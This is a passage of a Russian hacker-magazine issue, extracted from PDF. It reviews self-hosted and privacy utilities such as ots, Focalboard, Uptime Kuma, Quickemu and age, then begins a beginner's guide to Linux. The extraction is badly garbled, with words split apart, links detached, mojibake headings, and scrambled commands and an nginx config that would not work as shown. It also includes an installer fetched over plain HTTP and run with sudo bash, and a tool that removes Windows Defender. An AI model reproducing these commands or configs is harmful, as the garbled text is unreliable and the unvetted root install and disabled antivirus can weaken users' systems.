не наш метод. Идем в кон соль и пишем:

brew install ots

curl $ -L https://github.com/sniptt-official/ots/releases/download/
v0.1.0/ots_0.1.0_darwin_amd64.tar.gz -o ots.tar.gz 

 $ sudo mkdir -p /usr/local/ots-cli 
 $ sudo tar -C /usr/local/ots-cli -xvf ots.tar.gz 
 $ sudo ln -sf /usr/local/ots-cli/ots /usr/local/bin/ots 

$ rm ots.tar.gz 

Кро ме это го бил да, есть еще сбор ки под ARM64 и даже под Windows — то
есть пос тавить получит ся вооб ще на что угод но.

Соз дать замет ку лег че некуда: прос то напиши !ots new

На чало исполь зования

Кста ти, вве ден ные дан ные не отоб ража ются, как если бы это был пароль, что
спо собс тву ет при ват ности.

Ар гумент  поз воля ет задать срок год ности замет ки: даже если ее ник то
не откро ет, по исте чении задан ного вре мени она само унич тожит ся.

-x

Для шерин га сек ретных кон фигов мож но исполь зовать стан дар тные
для юник совых сис тем пай пы:

$ cat secret-keys.json | ots new 

У сер виса есть веб-вер сия — , которая эму лиру ет 
в окне бра узе ра.

ots.sniptt.com ots new

Пе ресы лаем в бра узе ре

Как выг лядят сек реты

Ес ли поп робовать открыть стра ницу с замет кой во вто рой раз — получим
отказ, ведь замет ки уже нет!

Focalboard

Рань ше я поль зовал ся Trello, но потом стал искать бес плат ную аль тер нативу
и нашел — она называ ется . Это клас сный self-hosted-сер вис, раз- 
работан ный авто рами Mattermost (замена Slack для ком паний). Мож но пос- 
тавить на свой комп или на какой-то собс твен ный сер вер, если нуж на великая
сек ретность.

Focalboard

При мер исполь зования Focalboard

Ус тановить Focalboard мож но на Windows, Linux и даже Mac. И если для вин ды
и макоси при ложе ние прос то ска чива ешь в офи циаль ном магази не, то с вер- 
сией для Linux нас ждет тра дици онно чуть более длин ный путь: при дет ся вруч- 
ную ска чать  про екта себе и рас паковать его 

 Затем запус тить 
. Длин нее, но не нам ного слож нее.

пос ледний релиз
( ).tar -xzvf focalboard-linux.tar.gz focalboard-app/
focalboard-app

Для жела ющих раз вернуть Focalboard на собс твен ном сер вере есть воз- 
можность сде лать это бук валь но в одну коман ду:

 docker run -it -p 8091:8000 mattermost/focalboard 

Пос ле уста нов ки перей ди по адре су , и уви дишь фор мочку вхо- 
да (на скрин шоте ниже). Тут надо соз дать акка унт (кно поч ка 

вни зу), и ты попадешь в такой же интерфейс Focalboard, но через бра узер.
И да, никакие вве ден ные при регис тра ции дан ные под тверждать не тре бует- 
ся.

твой-ip:8091
create account

FPS Check

Бы вает, нуж но узнать, сколь ко кад ров в секун ду (FPS) может отоб разить
экран. Все боль ше про изво дите лей заяв ляют час тоту обновле ния экра на
как пре иму щес тво сво их про дук тов, так что ста новит ся инте рес но их про- 
верить.

С помощью сай та  ты смо жешь выяс нить, дей стви тель но ли
монитор обес печива ет заяв ленную ско рость обновле ния кар тинки. Тест
начина ется сра зу пос ле заг рузки стра ницы.

TestUfo

По сере дине стра ницы отоб ража ются дорож ки, дви гающиеся с раз ным
количес твом кад ров в секун ду. На вер хней дорож ке час тота кад ров мак- 
сималь ная, на ниж ней — минималь ная.

Кро ме НЛО-тес та на FPS, сайт пред лага ет еще око ло трех десят ков тес тов
на все слу чаи жиз ни: тут и про вер ка на ШИМ, и замер тай мин гов при отоб- 
ражении гра фики бра узе ром, и даже симуля ция виде оиг ры. Мне было
как минимум инте рес но потыкать.

Canvas Defender

От печат ки бра узе ра широко исполь зуют ся сай тами для отсле жива ния
посети телей и их поведе ния. Бра узе ру прис ваивает ся уни каль ный иден- 
тифика тор, к которо му при вязы вает ся мно го информа ции о нас трой ках и воз- 
можнос тях бра узе ра.

Один из методов соз дания такого иден тифика тора — исполь зование
HTML-тега . Рас ширение  скры вает нас- 

тоящий отпе чаток, получа емый таким методом. Оно не бло киру ет такой тре- 
кинг, а добав ляет в отпе чаток слу чай ный шум. Из-за это го отпе чаток ста- 
новит ся бес полез ным для отсле жива ния. Важ но толь ко понимать, что от всех
осталь ных спо собов тре кин га это не защища ет, так что отправ лять дру гие
защит ные решения на пен сию пока ранова то.

<canvas> Canvas Fingerprint Defender

От печаток обновля ется при каж дой перезаг рузке стра ницы. Пла гин
не тре бует нас трой ки и начина ет работу сра зу пос ле уста нов ки. Дос тупен
для , ,  и .Chrome Firefox Microsoft Edge Opera

Для про вер ки работы рас ширения я вос поль зовал ся 
на WebBrowserTools.com. При каж дой перезаг рузке стра ницы отпе чат ки дей- 
стви тель но раз ные.

тес том

От печат ки сге нери рова ны слу чай ные

При каж дой попыт ке тре кин га рас ширение выда ет соот ветс тву ющее уве дом- 
ление.

Uptime Kuma

Не дав но мне нуж но было орга низо вать прос той монито ринг нес коль ких сай- 
тов на раз ных под доменах. Потом аппе титы вырос ли и появи лось желание
добавить до кучи еще пароч ку сетевых демонов. Zabbix для таких слу чаев,
думаю, тяжело ват, а вот лег ковес ный кон тей нер, прак тичес ки не тре бующий
нас трой ки, — то, что надо!

Тог да я поис кал и нашел аль тер нативу, при чем нам ного более при ятную
гла зу. Зна комь ся:  — прос той self-hosted-инс тру мент для соз- 
дания стра ниц, поз воля ющих отсле живать работос пособ ность сер висов
и монито рин га, ког да не нуж но деталь но ана лизи ровать сис темные парамет- 
ры на наб люда емых машинах.

Uptime Kuma

Тем ная тема тоже под держи вает ся!

Ус тановить мож но нес коль кими спо соба ми. Пер вый и самый прос той —
с помощью инте рак тивно го уста нов щика:

curl  -o kuma_install.sh http://git.kuma.pet/install.sh && sudo bash 
kuma_install.sh 

Вто рой, который исполь зовал я, тре бует Docker:

docker volume create uptime-kuma 
 docker run -d --restart=always -p 3001:3001 -v uptime-kuma:/app/data 

--name uptime-kuma louislam/uptime-kuma:1 

Для тех, у кого есть уже уста нов ленный Node.js и желание сде лать все вруч- 
ную, есть и тре тий спо соб:

npm npm install -g
git clone https://github.com/louislam/uptime-kuma.git 
cd uptime-kuma 
npm run setup 

# Простой запуск, для проверки
node server/server.js 

# Запуск «на постоянку»
# Если нет PM2, установи его с помощью "npm install pm2 -g"
pm2 start server/server.js --name uptime-kuma 

Во всех этих слу чаях есть одна малень кая проб лема: если ты исполь зуешь
реверс-прок си вро де nginx, как я, — работать Uptime Kuma не будет, потому
что тре бует пол ноцен ных веб-сокетов. Пофик сить это для nginx мож но так:

 { server
   ;         listen 443 ssl http2

 ;         server_name YOUR_DOMAIN_HERE
 / / / / . ;         ssl_certificate etc nginx certs upmonitor crt

 / / / / . ;         ssl_certificate_key etc nginx certs upmonitor key
 / {         location

   - -  $ ;                 proxy_set_header X Real IP remote_addr
   - -  $

; 
                proxy_set_header X Forwarded For
proxy_add_x_forwarded_for

 :// . . . : /;                 proxy_pass http 127 0 0 1 3001
 . ;                 proxy_http_version 1 1

    $ ;                 proxy_set_header Upgrade http_upgrade
    ;                 proxy_set_header Connection "upgrade"

        } 
} 

Ну и для тех, чей сер вер — это ста рый Android-смар тфон, — спо соб номер
четыре. Нуж но ска чать акту аль ный Termux, при чем не из Play Мар кета, где он
уже дав но не обновля ется, а из . Затем запус тить и выпол нить сле- 
дующие коман ды:

F-Droid

pkg upgrade 
pkg install clang make python nodejs-lts binutils git 
npm install npm@6 -g

git clone https://github.com/louislam/uptime-kuma.git 
cd uptime-kuma 
npm run setup 

node server/server.js 

Толь ко не забывай, что Android очень любит выг ружать запущен ные в фоне
при ложе ния.

LibreSpeed

Все мы зна ем и исполь зуем . Но в некото рых слу чаях он может
не под ходить, нап ример если ты парано ик в сек ретной гос конто ре, где выход
в некон тро лиру емый интернет — толь ко под тво им неусып ным над зором.

speedtest.net

Дер жи на такой слу чай  — самый прос той скрипт для орга низа- 
ции тес тирова ния ско рос ти на сер вере. Уста нав лива ется одной коман дой
через Docker:

LibreSpeed

 docker run -e MODE=standalone -p 8080:80 -it adolfintel/speedtest 

И собс твен но, все. Оно прос то работа ет!

Продолжение статьи →

https://tls.support/
https://github.com/bwsw/webshell
https://privnote.com/
https://github.com/sniptt-official/ots
https://ots.sniptt.com/
https://github.com/mattermost/focalboard
https://github.com/mattermost/focalboard/releases
https://www.testufo.com/
https://mybrowseraddon.com/canvas-defender.html
https://chrome.google.com/webstore/detail/canvas-fingerprint-defend/lanfdkkpgfjfdikkncbnojekcppdebfp/related?hl=ru
https://addons.mozilla.org/en-US/firefox/addon/canvas-fingerprint-defender/
https://microsoftedge.microsoft.com/addons/detail/giglaifdfkimffokoomllcpmdjeomckf
https://addons.opera.com/en/extensions/details/canvas-fingerprint-defender/
https://webbrowsertools.com/canvas-fingerprint/
https://github.com/louislam/uptime-kuma
https://f-droid.org/repo/com.termux_117.apk
https://speedtest.net/
https://github.com/librespeed/speedtest


МАСТЕРСКАЯ ХАКЕРА
ПОДБОРКА ПОЛЕЗНЫХ ИНСТРУМЕНТОВ

ДЛЯ WINDOWS И LINUX

ТРЮКИ  НАЧАЛО СТАТЬИ←

CONSOLE
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Как мы зна ем, не все про цес сы зак рыва ют фай ловые дес крип торы (ука зате ли
на файл на дис ке) даже пос ле уда ления фай ла. Тог да  такие фай лы ты

не най дешь, но при этом  покажет, что мес то исполь зует ся.

du -hs
df -h

Ес ли ты не уве рен, что у тебя имен но так, — про верить это мож но
с помощью .lsof | grep deleted | less

Са мый прос той спо соб решить проб лему — эле мен тарно переза пус тить
про цесс. Но если сде лать это нель зя, есть еще один вари ант.
1. На ходим, какие фай лы уда лены:

# find /proc/*/fd -ls 2> /dev/null | grep '(deleted)' | grep 
logstash
1418355113      0 l-wx------   1 www-data www-data       64 Nov  
3 08:12 /proc/1009271/fd/18 -> /opt/www/.pm2/logs/pm2-logstash-
out.log\ (deleted)
1418355114      0 l-wx------   1 www-data www-data       64 Nov  
3 08:12 /proc/1009271/fd/19 -> /opt/www/.pm2/logs/pm2-logstash-
error.log\ (deleted)

2. Очи щаем файл(ы):

# truncate -s 0 /proc/1009271/fd/18

Quickemu

Про ект  приз ван облегчить соз дание дес ктоп ных вир туаль ных
машин. Теперь боль ше не нуж но искать дис три бутив, ста вить его в вир туаль- 
ное окру жение (которое час то тре бует ся еще и нас тро ить перед этим), нас- 
тра ивать гос тевую ОС и толь ко пос ле это го поль зовать ся — дос таточ но
написать все го две коман ды и получить готовую сис тему.

Quickemu

Ус тановить его на Ubuntu мож но все го в пару команд:

sudo apt-add-repository ppa:flexiondotorg/quickemu 
sudo apt update 

apt sudo install quickemu 

Для дру гих дис три бути вов прос то кло нируй репози торий себе.
Но на этом прик лючения не закан чива ются: нуж но еще уста новить длин- 

ный спи сок зависи мос тей:
 (6.0.0 или новее) с под дер жкой GTK, SDL, SPICE и VirtFS;• QEMU

 (4.0 или новее);• bash
;• Coreutils

;• EDK II
;• grep

;• jq
;• LSB

;• procps
;• Python 3

;• macrecovery
;• mkisofs
;• usbutils
;• util-linux

;• sed
;• spicy

;• swtpm
;• wget

;• xdg-user-dirs
;• xrandr

.• zsync

Даль ше мож но прос то в две коман ды запус тить любой дис три бутив:

quickget ubuntu focal 
quickemu --vm ubuntu-focal.conf 

Так же лег ко мож но пос тавить, нап ример, macOS:

quickget macos catalina 
quickemu --vm macos-catalina.conf 

Кро ме Catalina, конеч но, под держи вают ся еще и , , 
 и . Более под робно о запус ке macOS читай в репози тории.

high-sierra mojave big-
sur monterey

Ус тановить мож но даже новей шую Windows 11!

quickget windows 11 
quickemu --vm windows-11.conf 

Кон фигура ции вир туаль ных машин лег ко изме нить, добав ляя стро ки в кон- 
фиги. Сле дующая кон фигура ция соз даст вир туаль ную машину с шестью ядра- 
ми про цес сора, 24 Гбайт ОЗУ и дис ком на 640 Гбайт:

cpu_cores="6"
ram="24G"
disk_size="640G"

Мож но даже пор ты про киды вать:

port_forwards=("5050:5050" "8888:80")

В общем, прек расный инс тру мент для прос того под нятия любого количес тва
любых вир туалок. Рекомен дую поп робовать!

ÂÑß×ÈÍÀ

FaPro

Ес ли тебе вдруг сроч но понадо бил ся ханипот — обра ти вни мание на 
. Он уме ет при киды вать ся раз личным сер верным ПО и обра- 

баты вать зап росы по соот ветс тву ющим про токо лам.

Fake
Protocol Server

В гит хабе про екта есть нес коль ко роликов, которые очень хорошо показы- 
вают воз можнос ти ути литы. Некото рые из них я при веду здесь, что бы ты
не тра тил вре мя на чте ние офи циаль ных доков.

RDP-ханипот

SSH

Есть все го одна неболь шая проб лемка: исходни ков нет, толь ко 
, и это вызыва ет некото рые воп росы. В issues уже неод нократ но

спра шива ли про исходни ки, но автор  на то, что код еще слиш ком
сырой.

би нар ник
в архи ве

сос лался

132 e’s
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Age

Все мы зна ем, как сжать файл или упа ковать нес коль ко фай лов в один кон- 
тей нер. А как нас чет шиф рования этих кон тей неров? Спе циаль но для это го
сущес тву ет ути лита  — сов ремен ная и быс трая прог рамма для шиф- 
рования фай лов, написан ная на Go.

age

Она есть в репози тори ях всех популяр ных дис три бути вов и ста вит ся из них
по име ни пакета . Если у тебя Windows, ска чать пос леднюю вер сию мож но
по  в офи циаль ном бинар ном репози тории про екта.

age
ссыл ке
У  все завяза но на клю чи, а не пароли. Мож но сге нери ровать ключ

с помощью  или взять готовый ключ от SSH.

age
age-keygen

Сна чала давай сге нери руем ключ:

age-keygen -o age.key 
Public key: 
age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p 

Те перь зашиф руем что-нибудь:

tar cvz ~/data | age -r 
age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p > 
data.tar.gz.age 

И рас шифру ем:

age  --decrypt -i age.key data.tar.gz.age > data.tar.gz 

Ути лита под держи вает шиф рование для нес коль ких получа телей, шиф- 
рование с помощью паролей (с некото рыми ого вор ками) и так далее. Под- 
робнее — в readme репози тория.

Privatezilla

 — это ком плексный инс тру мент для повыше ния при ват ности
в Windows 10. Да, уже и 11-я вин да выш ла, но «десят ка» еще дол го будет акту- 
аль ной.

Privatezilla

WWW

Для Windows 11 поп робуй ути литу 
того же раз работ чика.

ThisIsWin11

Итак, что уме ет этот ком байн:
уда лять опре делен ные пре дус танов ленные при ложе ния;•
уда лять OneDrive;•
от креп лять меню «Пуск»;•
от клю чать телемет рию сто рон них при ложе ний (вро де Office, Firefox,
Dropbox);

•

уда лять Windows Defender;•
бло киро вать телемет рию через фай рвол и файл hosts.•

Ав тор ути литы нас тоятель но не рекомен дует уда лять фай рвол — он все-таки
не прос то так встро ен. Резон ная рекомен дация, если ты не собира ешь ся
исполь зовать какое-то дру гое решение.

Прог рамма уме ет ана лизи ровать, что уже нас тро ено, и не совер шать лиш них
дей ствий.

INFO

Под робно о раз ных инс тру мен тах для отклю чения
слеж ки мы  в одной из прош лых ста- 
тей. Рекомен дую озна комить ся!

уже писали

ÂÛÂÎÄÛ

Уве рен, что ты узнал о какой-нибудь новой полез ной для себя шту кови не.
Если мы все еще не написа ли о тво ей любимой ути лите — дай знать в ком- 
ментах, и мы, воз можно, вклю чим ее в сле дующую под борку. При ятно го поль- 
зования!

https://github.com/wimpysworld/quickemu
https://www.qemu.org/
https://www.gnu.org/software/bash/
https://www.gnu.org/software/coreutils/
https://github.com/tianocore/edk2
https://www.gnu.org/software/grep/
https://stedolan.github.io/jq/
https://wiki.linuxfoundation.org/lsb/start
https://gitlab.com/procps-ng/procps
https://www.python.org/
https://github.com/acidanthera/OpenCorePkg/tree/master/Utilities/macrecovery
http://cdrtools.sourceforge.net/private/cdrecord.html
https://github.com/gregkh/usbutils
https://github.com/karelzak/util-linux
https://www.gnu.org/software/sed/
https://gitlab.freedesktop.org/spice/spice-gtk
https://github.com/stefanberger/swtpm
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https://github.com/builtbybel/ThisIsWin11
https://xakep.ru/2018/10/23/win10-privacy/
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ТРЮКИ

Со вер шенно не важ но, какую опе раци онку ты пред почита- 
ешь иметь на рабочем компь юте ре, — Linux сегод ня бук- 
валь но пов сюду: на сер верах, на желез ках вро де Raspberry
Pi, на умных устрой ствах, на компь юте рах в госуч режде- 
ниях... Да что там, даже в Windows теперь 

, что бы лег че было, к при меру, тес тировать сер верный
софт. Хакеру же ори енти ровать ся в Linux прос то необ- 
ходимо.

мож но запус кать
Linux

Ог ромное количес тво хакер ско го соф та работа ет толь ко на Linux и соб рано
в спе циали зиро ван ных дис три бути вах вро де Kali. К тому же при пен тесте ты
час то будешь стал кивать ся с сис темами на Linux и дол жен уметь с ними обра- 
щать ся. Да и прос то полез но иметь опыт работы с этой мощ ной, абсо лют но
бес плат ной сис темой. В жиз ни при годит ся, поверь!

В этой статье мы попыта емся рас ска зать все, что сами хотели бы знать,
ког да начина ли инте ресо вать ся «Линук сом» мно го лет назад. Это и теоре- 
тичес кие све дения, которые помогут ори енти ровать ся, и впол не прак тичные
советы.

Важное предупреждение
По уров ню слож ности это не впол не харак терная для «Хакера» статья — она
рас счи тана на сов сем-сов сем новых поль зовате лей. Мысль о ней появи лась,
ког да мы ста ли ком поновать под борку матери алов об исполь зовании Linux
и обна ружи ли, что у нас нет ничего, что подош ло бы в качес тве самого
начала. А если и есть, то пок рыто тол сты ми мха ми.

Ес ли ты про тив таких ста тей в «Хакере», можешь, конеч но, отме тить ся
в ком мента риях, но, пра во сло во, луч ше иди почитай про 
или про то, . Бла го
таких ста тей у нас боль шинс тво и менять в этом пла не мы ничего не собира- 
емся.

экс плу ата цию ядра
как писать минима лис тичный бэк-шелл на ассем бле ре

Ес ли же тема кажет ся тебе в самый раз, то прис тегивай ся — наш звез- 
долет отправ ляет ся, что бы про нес тись по осно вам Linux со сверх све товой
ско ростью.

ÊÀÊÎÉ ÁÛÂÀÅÒ LINUX

Пер вое, с чем стал кива ется человек, жела ющий уста новить Linux, —
это огромное раз нооб разие дис три бути вов. Все эти наз вания прос то невоз- 
можно упом нить, но в реаль нос ти и не нуж но.

Три основных семей ства дис три бути вов, о которых нуж но знать в пер вую
оче редь, — это Debian, Red Hat и Arch. Еще мож но вспом нить SUSE, Mandriva
и Gentoo, но день ки их сла вы уже позади, да прос тят нас их поль зовате ли!

INFO

Chrome OS — это тоже внут ри впол не нас тоящий
Linux, и в новых вер сиях под держи вает ся запуск
прог рамм для Linux. Но в один ряд с дру гими дис- 
три бути вами эту ОС все же не пос тавишь.

Из семей ства  Debian в пер вую оче редь сто ит обра тить вни мание на .
Это и есть самый оче вид ный выбор, если ты раз думыва ешь, с чего начать.
Ком пания Canonical, сто ящая за Ubuntu, прик ладыва ет огромные силы
для того, что бы этот дис три бутив хорошо работал и был дру желю бен к поль- 
зовате лю. Для это го дис три бути ва име ется широчай ший выбор ста биль но
работа ющих прог рамм — ты точ но не будешь испы тывать в них недос татка.

Ubuntu

Све жеус танов ленный Ubuntu

Стан дар тный набор при ложе ний в Ununtu

К тому же у Ubuntu огромное сооб щес тво, что зна читель но упро щает
решение проб лем: в 99% слу чаев ты будешь не пер вый, кто испы тыва ет ту
или иную слож ность. Прос то копируй сооб щение об ошиб ке, и навер няка
най дешь вет ку форума, где более опыт ные товари щи объ ясня ют дру гим пос- 
тра дав шим, как с этим спра вить ся.

Есть и дру гие популяр ные дис три бути вы, осно ван ные на Debian, — к при- 
меру, Raspberry Pi OS, MX Linux или . А на Ubuntu базиру ются 

,  и мно гие дру гие. Кста ти, Mint и elementary тоже неп лохие
вари анты для нович ков.

Kali Linux Linux
Mint elementary OS

Ста вить Kali в качес тве пер вой сис темы обыч но не рекомен дуют: этот
узкоспе циали зиро ван ный хакер ский дис три бутив пло хо прис пособ лен
для пов седнев ной работы, и уста нав ливать его пред полага ется в вир туал ку
или в качес тве вто рой ОС. К тому же он под завяз ку забит хак тулза ми вмес то
обыч ных при ложе ний, что будет сби вать с тол ку. Но если ты ста вишь Linux
спе циаль но, что бы заполу чить все это богатс тво, то кто мы такие, что бы тебя
оста нав ливать?

Что до самого Debian, то его глав ная фиш ка — это лицен зион ная чис тота.
Раз работ чики вни матель но сле дят за тем, что бы в него не попало ни строч ки
кода, который рас простра няет ся не по сво бод ной лицен зии (что, может быть,
и пох валь но с точ ки зре ния иде оло гии, но ког да ты хочешь осво ить ся с Linux,
ско рее все го, обер нется раз ного рода слож ностя ми).

К семей ству дис три бути вов  отно сят ся в пер вую оче редь ,
 и . На обыч ный ПК есть смысл ста- 

вить «Федору», тог да как RHEL — это ком мерчес кое решение для сер веров,
а Rocky Linux — его неком мерчес кий клон, соз данный сооб щес твом.

Red Hat Fedora
Red Hat Enterprise Linux (RHEL) Rocky Linux

Fedora Linux

И наконец,  — это край не инте рес ный «гиков ский» дис три бутив, который
ты можешь сам соб рать по кир пичикам и нас тро ить как тебе захочет ся. Одна- 
ко нырять в это без пред варитель ных поз наний в Linux не совету ем. Решая
проб лемы, ты, конеч но, при обре тешь мно го цен ных зна ний, но это далеко
не самый прос той путь, и луч ше отло жить хож дение по нему на потом.

Arch

У Arch есть и менее суровые вари ации —  и . В обе их
хотя бы при сутс тву ют заранее нас тро енные и под готов ленные к работе окру- 
жения, но тоже аске тич ные. С дру гой сто роны, отсутс твие необуз данно го
раз нооб разия может быть плю сом при пер вом зна комс тве, так что начинать
с Manjaro — не такая пло хая идея. Осо бен но если ты пла ниру ешь ста вить
Linux на сла бый компь ютер.

Manjaro EndeavourOS

Manjaro для ARM

Not Unix
В чем отли чие Linux от Unix? Если очень-очень упростить, то мож но ска зать,
что Unix — это пре док Linux. Более слож ный и раз верну тый ответ тре бует
нем ного углу бить ся в исто рию.

В семиде сятые годы Ричард Стол лман при думал кло ниро вать ком мерчес- 
кий и по тем вре менам дорогос тоящий Unix и соз дать свою опе раци онку,
которую он наз вал GNU is not Unix или прос то GNU. Стол лман и ком пания
перепи сали все ком понен ты Unix и опуб ликова ли их под при думан ной ими
«вирус ной» лицен зией GPL.

Из началь но сло вом Linux называ ли толь ко соз данное Линусом Тор валь- 
дсом ядро. Но наз вание Linux и мас кот-пин гвин быс тро при жились, и ими
теперь обоз нача ют всю ОС — нес мотря на воз ражения Стол лма на и прось бы
писать толь ко GNU/Linux.

Linux в эпо ху интерне та стал быс тро набирать популяр ность, и ком мерчес- 
ким вари антам Unix со вре менем прос то не оста лось мес та. Тем не менее
до сих пор живы его потом ки — опе раци онные сис темы FreeBSD и OpenBSD,
которые теперь бес плат ны и мно гое заимс тву ют из сов ремен ного «Линук са».
Кста ти, на FreeBSD осно ваны macOS и iOS.

По луча ется, что выбор дис три бути ва — это в пер вую оче редь выбор под хода
и даже иде оло гии. Одна ко более при зем ленным ори енти ром обыч но слу жит
набор основных ком понен тов, из которых стро ятся дис тры. Давай обсу дим
глав ные из них.

ßÄÐÎ

Яд ро, хоть и кри тичес ки важ но для работы сис темы, осо бо не инте рес но
с точ ки зре ния поль зовате ля — вза имо дей ство вать с ним нап рямую тебе
вряд ли при дет ся, пока ты не ста нешь нас тоящим гуру.

Воз можно, ты час то слы шал про «сбор ку ядра» и можешь даже самос- 
тоятель но поп робовать сде лать это. Пос коль ку ядро Linux монолит ное, в него
дол жна вхо дить под дер жка мно жес тва вещей, которые каса ются всех
аспектов работы компь юте ра. Соот ветс твен но, перед сбор кой мож но и нуж но
задать кучу вся ких нас тро ек, но ничего осо бен но увле катель ного в этом,
поверь, нет, хотя про цесс край не поз наватель ный.

В сис теме может одновре мен но при сутс тво вать сколь ко угод но ядер,
а какое имен но будет исполь зовать ся, ты можешь выб рать в заг рузчи ке.
Апгрейд ядра до более новой вер сии — совер шенно рутин ное дело в Linux
и обыч но про исхо дит авто мати чес ки.

ÏÀÊÅÒÍÛÉ ÌÅÍÅÄÆÅÐ

Лю бой Linux сос тоит из тысяч мел ких ком понен тов — прог рамм, биб лиотек
и ресур сов (нап ример, фай лов кон фигура ции, наборов ико нок и так далее).
Рас простра няют ся они в виде пакетов (package).

Па кет ный менед жер — это спе циаль ная прог рамма, которая выпол няет
уста нов ку, нас трой ку, уда ление, а так же обновле ние как отдель ных при ложе- 
ний, так и всей сис темы в целом или ее ком понен тов.

Очень час то один пакет тре бует для работы наличия дру гих, и сле дить
за эти ми зависи мос тями вруч ную на сов ремен ной сис теме невоз можно.
Поэто му осно ва каж дого дис три бути ва — это пакет ный менед жер, который
рулит уста нов кой и обновле нием соф та. В дис три бути вах, осно ван ных
на Debian, он называ ется APT, в Red Hat — DNF, а в Arch — pacman.

Па кеты менед жер берет из репози тория — боль шого скла да, куда соз- 
датели дис три бути ва заг ружа ют их. Репози тори ев зачас тую мож но под клю- 
чить сра зу нес коль ко. Нап ример, в Ubuntu есть четыре основных: Main (под- 
держи ваемый раз работ чиками), Universe (под держи ваемый сооб щес твом),
Restricted (с проп риетар ным ПО) и Multiverse (с ПО, на которое дей ству ют
нес вобод ные лицен зии).

Пос коль ку вско ре пос ле уста нов ки Linux ты обна ружишь необ ходимость
в драй верах для железа, допол нитель ных шриф тах, кодеках и тому подоб ных
вещах, ско рее все го, понадо бит ся раз решить сис теме дос туп к запят нанным
ком мерци ей репози тори ям. В Ubuntu это дела ется в меню «Прог раммы
и обновле ния».

ÃÐÀÔÈ×ÅÑÊÀß ÑÈÑÒÅÌÀ

Да леко не каж дый Linux снаб жен гра фичес кой сис темой или вооб ще нуж дает- 
ся в ней — очень мно гие дей ствия здесь мож но делать и из коман дной стро- 
ки. Одна ко сов ремен ный рабочий стол — это все же икон ки и окош ки.

Что бы работать с гра фикой, в Linux дол жны при сутс тво вать сер вер дис- 
плея X.Org (тра дици онный вари ант) либо новомод ный ком позитор Wayland,
на который сей час перехо дят наибо лее передо вые дис три бути вы. Плюс тре- 
бует ся окон ный менед жер — прог рамма, которая отве чает за то, как выг лядят
и работа ют эле мен ты интерфей са.

Впро чем, это всё доволь но низ коуров невые под робнос ти, нырять
в которые с ходу не обя затель но. Куда ско рее тебе при дет ся задумать ся
о выборе рабочей сре ды (Desktop Environment, DE). Это совокуп ность окон- 
ного менед жера и раз ного рода прог рамм, мел ких (нап ример, рису ющих раз- 
ные панели, рабочий стол, вид жеты) и круп ных — вро де фай лового менед- 
жера. Сюда же обыч но вхо дит и набор базово го соф та: кален дарь, поч товик
и про чее в таком духе.

Са мые извес тные окон ные сре ды — это  и . Но в реаль нос ти
их спи сок гораз до длин нее. Любите ли минима лиз ма могут прис мотреть ся
к Xfce или LXDE, а Ratpoison, dwm, i3 и xmonad пре дос тавля ют сре ду
с неперек рыва ющи мися окна ми, что некото рые находят удоб ным.

GNOME KDE

А еще от GNOME отва лились про екты MATE и Cinnamon — их раз работ- 
чикам не пон равил ся интерфейс GNOME 3, и они про дол жили раз вивать вто- 
рую вет ку. А в elementary OS исполь зует ся своя сре да под наз вани ем
Pantheon, которую не встре тишь боль ше ниг де. В общем, раз нооб разие
огромно!

Соз датели дис три бути вов, в которые вхо дит гра фичес кая сре да, обыч но
выбира ют одну или нес коль ко сред, которые будут под держи вать офи циаль- 
но. Но при этом тебе нич то не меша ет поменять DE или уста новить одновре- 
мен но боль ше одной, что бы перек лючать ся меж ду ними или исполь зовать
прог раммы одной сре ды из дру гой. Про буй, экспе римен тируй, и сам пой- 
мешь, что тебе бли же.

ÊÎÌÀÍÄÍÛÉ ÈÍÒÅÐÏÐÅÒÀÒÎÐ

Поль зовате ли Windows при вык ли к тому, что в этой опе раци онной сис теме
име ется стан дар тный интер пре татор команд , который при нято

называть коман дной стро кой. В пос ледних вер сиях вин ды его орга нич но
допол нил PowerShell, одна ко эти ми дву мя сре дами ассорти мент коман дных
интер пре тато ров в Windows исчерпы вает ся.

cmd.exe

В Linux коман дных интер пре тато ров сущес тву ет мно жес тво, и, если
для Windows они лишь вспо мога тель ное средс тво адми нис три рова ния, здесь
это один из основных и очень мощ ных инс тру мен тов работы с сис темой.

Собс твен но, сама исто рия Linux началась имен но с коман дной стро ки,
точ нее тер минала или даже телетай па. Гра фичес кий интерфейс к нему при- 
дела ли уже зна читель но поз же. Имен но поэто му коман дную стро ку в Linux
час то называ ют «эму лятор тер минала», а про цес сы с ними носят пре фикс 

(teletype).

tty

Как ты зна ешь, с исполь зовани ем команд в Windows мож но писать скрип- 
ты, авто мати зиру ющие какие-либо дей ствия: пакет ные фай лы (batch les)
были в ходу еще со вре мен MS-DOS, а PowerShell замет но рас ширил и углу- 
бил эту тех нологию. В Linux мож но делать то же самое: соб ранный в файл
набор команд интер пре тато ра может работать как слож ная прог рамма,
а сами коман ды явля ются по боль шому сче ту язы ком прог рамми рова ния.

На боры команд, сох ранен ные одним фай лом, при нято называть сце нари- 
ями или скрип тами. Все скрип ты в Linux начина ются с сим волов  (это

сочета ние называ ется «шебанг») и пути к интер пре тато ру — коман де, которая
будет исполнять скрипт.

#!

Стан дар тным коман дным интер пре тато ром в Linux явля ется bash —
обновлен ная и модер низиро ван ная вер сия коман дной обо лоч ки Bourne shell,
которая была изоб ретена Сти веном Бор ном в 1978 году и исполь зовалась
еще в клас сичес ком Unix.

Прож женные линук соиды пред почита ют ста вить вмес то bash более прод- 
винутый интер пре татор — Z shell (ZSH), обратно сов мести мый с bash, но име- 
ющий по срав нению с ним мно жес тво улуч шений. Для этой обо лоч ки сооб- 
щес твом был раз работан спе циаль ный откры тый и бес плат ный фрей мворк

, который содер жит мно жес тво пла гинов для авто мати зации
работы с коман дами и скрип тами. Как минимум Oh My ZSH поз воля ет исполь- 
зовать кра сивые темы офор мле ния окна коман дной стро ки, бла года ря
которым окру жающие точ но соч тут тебя гени аль ным хакером.

Oh My ZSH

INFO

Под робнее о ZSH и Oh My ZSH читай в статье
«

».
Про качай тер минал! Полез ные трю ки, которые

сде лают тебя гуру кон соли

Пре дуп редим о проб леме, с которой момен таль но стал кива ется каж дый
новый поль зователь Linux. Если ты зай дешь в какой-то каталог и попыта ешь ся
написать наз вание исполня емо го фай ла, что бы запус тить его, то ничего
не получит ся. Почему?

При чина в том, что интер пре татор ищет фай лы толь ко в катало гах, которые
ука заны в перемен ной окру жения . То есть тебе нуж но либо задать пол- 
